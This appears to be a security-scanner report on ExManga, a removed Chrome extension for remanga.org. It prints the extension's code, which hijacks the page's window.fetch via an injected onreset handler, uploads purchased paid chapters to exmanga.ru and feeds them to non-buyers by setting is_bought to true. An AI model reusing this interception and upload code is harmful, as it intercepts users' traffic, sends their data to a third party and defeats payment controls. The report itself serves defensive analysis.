ExManga

ID: ncoolbhoccaekcmodfondnhfbelhghjc

Could be malicious

Supported Languages

🇷🇺Russian

Extension Info & Metadata

Status
Removed
Version
3.1
Size
0.17 MB
Rating
4.8/5
Reviews
123
Users
6,000
Type
Extension
Updated
Jul 8, 2023
Category
14_fun
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
skoniksView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
6,000

Расширение дает возможность всем читать платные главы на сайте remanga.org, если их уже купил один из пользователей расширения

Расширение дает возможность всем читать мангу на сайте remanga.org, если ее купил один из пользователей расширения. Основная задача - возможность поделиться любимой мангой с друзьями, с чем данное расширение отлично справляется. Принцип работы расширения: - Расширение работает только на сайте remanga.org ( и алиасах ) - Расширение отправляет данные на удаленный сервер только при открытии глав покупаемой манги - Если вы покупаете главу - она загружается на сервер разработчика - Если у вас глава нет доступа к главе глава качается с сервера разработчика и отображается у вас на странице - Если платная глава не отображается - значит ее никто не купил

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact• 10% increase: Early script execution enables pre-emptive content manipulation
*://*.remanga.org/*
Host
Medium
Host permission — access limited to this URL pattern.
*://*.реманга.орг/*
Host
Medium
Host permission — access limited to this URL pattern.
*://*.exmanga.ru/*
Host
Medium
Host permission — access limited to this URL pattern.
*://raw.githubusercontent.com/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: *://raw.githubusercontent.com/*
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

The extension injects a script into the page context by abusing the `onreset` event attribute on `document.documentElement` to execute arbitrary JavaScript. This technique completely replaces the native `window.fetch` API on the page, routing every single network request made by the remanga.org website through the extension's background service worker. This is a man-in-the-middle hook against the page's own fetch calls, enabling interception of all API responses including authentication tokens and user data.

scripts/content.js (Line 3)
var preload = `window.fetch = (...request) =>  new Promise((resolve) => {    chrome.runtime.sendMessage(      '${chrome.runtime.id}',      { request, location },      ({ body, type, init, message }) => {        const blob = new Blob([body], { type });        resolve(new Response(blob, init));      },    );  });`;document.documentElement.setAttribute('onreset', preload);document.documentElement.dispatchEvent(new CustomEvent('reset'));document.documentElement.removeAttribute('onreset');

The background script acts as a transparent proxy for all fetch requests from the remanga.org page. When a user has purchased a paid chapter (`is_bought === true`), it silently exfiltrates the full chapter API response body — including the user's purchased content and any associated session context — to the third-party server `https://exmanga.ru/chapter` via a PUT request. This constitutes unauthorized data exfiltration of content tied to the user's paid account.

scripts/background.js (Line 4)
fetch(url, ...params)  .then((response) => {      const {        status,        statusText,        headers      } = response;      const init = {        status,        statusText,        headers      };      const type = headers.get('content-type').split(';').shift();      if (type === 'application/json') {        response.json().then((body) => {              const regex = /api\/titles\/chapters\/(\d*)\//;              const match = url.match(regex);              if (match && body.content.is_paid) {                if (body.content.is_bought) {                  // Upload                  fetch('https://exmanga.ru/chapter', {                      method: 'PUT',                      body: JSON.stringify(body),                      headers: {                        'Content-Type': 'application/json'                      },                    })                    .then((response) => response.json())                    .then(({                      success,                      data                    }) => {                      console.log(`Chapter ${match[1]} - ${data}`);                    });

The background script registers `onMessageExternal` with the same handler as `onMessage`, and the manifest declares `externally_connectable` for remanga.org pages. This means any page matching those origins can trigger arbitrary fetch requests through the extension's background worker, which has elevated host permissions. Combined with the fetch-override in content.js, this creates a bidirectional proxy that any script running on those pages (including injected third-party ads or XSS payloads) could leverage.

scripts/background.js (Line 120)
chrome.runtime.onMessage.addListener(listener);chrome.runtime.onMessageExternal.addListener(listener);

When a paid chapter has not been purchased by the current user, the extension fetches the chapter content from the exmanga.ru server and injects it back into the API response, setting `is_bought = true` and replacing the pages data. This tampers with the remanga.org API response in transit to circumvent payment controls — a form of content fraud that also means the extension is actively serving and distributing paywalled content uploaded by other users.

scripts/background.js (Line 56)
} else {  // Download  fetch('https://exmanga.ru/chapter?id=' + match[1])    .then((response) => response.json())    .then(({      success,      data    }) => {      if (success) {        console.log(`Chapter ${match[1]} - Loaded`);        delete body.content.volume;        body.content.is_bought = true;        body.content.pages = data;        body.msg = '';        init.status = 200;        body = JSON.stringify(body);        const message = '[ExManga] Глава получена с сервера';        callback({          body,          type,          init,          message        });      }    });}

The extension fetches its own `manifest.json` from a raw GitHub URL at runtime to check for updates, then parses and evaluates the version field from that remote resource. While the current code only reads the version string, the pattern of fetching and parsing live remote JSON through the same proxy mechanism that intercepts all page traffic is a remote-code-loading risk vector — a compromised GitHub repo or MITM on raw.githubusercontent.com could deliver a manipulated response that the extension trusts.

scripts/content.js (Line 39)
window.onload = () => {  // Check updates  const url =    'https://raw.githubusercontent.com/skoniks/exmanga-ext/master/manifest.json';  const local = chrome.runtime.getManifest();  chrome.runtime.sendMessage(    chrome.runtime.id, {      request: [url]    },    ({      body    }) => {      const remote = JSON.parse(body);      if (parseFloat(remote.version) > parseFloat(local.version)) {        if (confirm('Доступно обновление ExManga! Перейти на страницу?')) {          window.open('https://github.com/skoniks/exmanga-ext');        }      }    },  );};

By severity

Critical2
High2
Medium1
Low0

Versions scanned

Showing 1 of 11 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
3.15

Files with findings

2 distinct paths — top paths by unique finding count:

  • scripts/background.js3
  • scripts/content.js2
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
scripts/background.js (line 4)The background script acts as a transparent proxy for all fetch requests from the remanga.org page. When a user has purchased a paid chapter (`is_bought === true`), it silently exfiltrates the full chapter API respons…
2Network Interception
critical
scripts/content.js (line 3)The extension injects a script into the page context by abusing the `onreset` event attribute on `document.documentElement` to execute arbitrary JavaScript. This technique completely replaces the native `window.fetch`…
3Network Interception
high
scripts/background.js (line 56)When a paid chapter has not been purchased by the current user, the extension fetches the chapter content from the exmanga.ru server and injects it back into the API response, setting `is_bought = true` and replacing …
4Privilege Escalation
high
scripts/background.js (line 120)The background script registers `onMessageExternal` with the same handler as `onMessage`, and the manifest declares `externally_connectable` for remanga.org pages. This means any page matching those origins can trigge…
5Remote Code Loading
medium
scripts/content.js (line 39)The extension fetches its own `manifest.json` from a raw GitHub URL at runtime to check for updates, then parses and evaluates the version field from that remote resource. While the current code only reads the version…
URLs
13
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
remanga.org-https://remanga.org/
www.w3.org/2000/svghttp://www.w3.org/2000/svg
vk.com/exmnghttps://vk.com/exmng
github.com/skoniks/exmanga-exthttps://github.com/skoniks/exmanga-ext
remanga.org-https://remanga.org
github.com/skoniks/hRemangahttps://github.com/skoniks/hRemanga
github.com/skoniks/exmanga-ext/tagshttps://github.com/skoniks/exmanga-ext/tags
exmanga.ru/chapterhttps://exmanga.ru/chapter
exmanga.ru/chapterhttps://exmanga.ru/chapter?id=
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
3.12
Latest
0.17 MB
Malicious
3.11
0.16 MB
Malicious
3.10
0.16 MB
Malicious
3.9
0.16 MB
Malicious
3.8
0.03 MB
Malicious
3.6
0.03 MB
Malicious
N/A
3.5
0.03 MB
Malicious
N/A
3.4
0.03 MB
Malicious
N/A
3.3
0.03 MB
Malicious
N/A
3.1
0.03 MB
Malicious
5N/A
Showing 1 to 10 of 20 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.